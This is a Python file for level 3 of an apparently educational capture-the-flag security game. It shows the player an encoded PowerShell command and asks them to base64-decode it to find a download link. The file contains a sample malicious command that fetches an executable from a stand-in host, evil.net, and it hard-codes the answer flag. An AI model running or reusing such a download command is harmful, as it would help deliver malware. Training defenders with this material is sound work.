level3.py

import os
import time

def clear():
    os.system('cls' if os.name == 'nt' else 'clear')

def next_step_menu():
    print("\n🎉 Level 3 Complete!")
    print("What would you like to do next?")
    print("1. Continue to next level")
    print("2. Restart this level")
    print("3. Exit game")

    while True:
        choice = input("Enter 1, 2, or 3: ").strip()
        if choice == "1":
            return "next"
        elif choice == "2":
            return "restart"
        elif choice == "3":
            print("Exiting game...")
            exit()
        else:
            print("❌ Invalid choice.")

def level3(save):
    while True:
        clear()
        print("🧪 Level 3: Malicious PowerShell Detected\n")
        print("Security logs flagged a suspicious PowerShell command executed on a host.\n")
        print("--- Begin PowerShell ---")
        print("powershell -enc aHR0cDovL2V2aWwubmV0L21hbHdhcmUuZXhl")
        print("--- End PowerShell ---\n")

        print("🛠️ Your task:")
        print("Decode the base64 string in the PowerShell command to reveal what it's trying to download.")
        print("\n🎯 Once you find the download link, submit the flag using:")
        print("submit FLAG{MALWARE_DOWNLOAD_LINK}")
        print("\n💡 Hint: Use any base64 decoder to analyze the encoded part.\n")

        cmd = input("> ").strip()
        if cmd.lower() == "exit":
            print("Exiting game...")
            exit()
        elif cmd.startswith("submit "):
            _, flag = cmd.split(" ", 1)
            if flag.strip().lower() == "flag{http://evil.net/malware.exe}":
                print("\n✅ Correct! Flag accepted.")
                save["level"] = 4
                save["flags"].append("FLAG{http://evil.net/malware.exe}")
                time.sleep(1.5)
                clear()

                action = next_step_menu()
                if action == "next":
                    return save
                elif action == "restart":
                    continue
            else:
                print("❌ Incorrect. Try again or type 'exit'.")
        else:
            print("❌ Unknown command. Use 'submit <FLAG>' or type 'exit'.")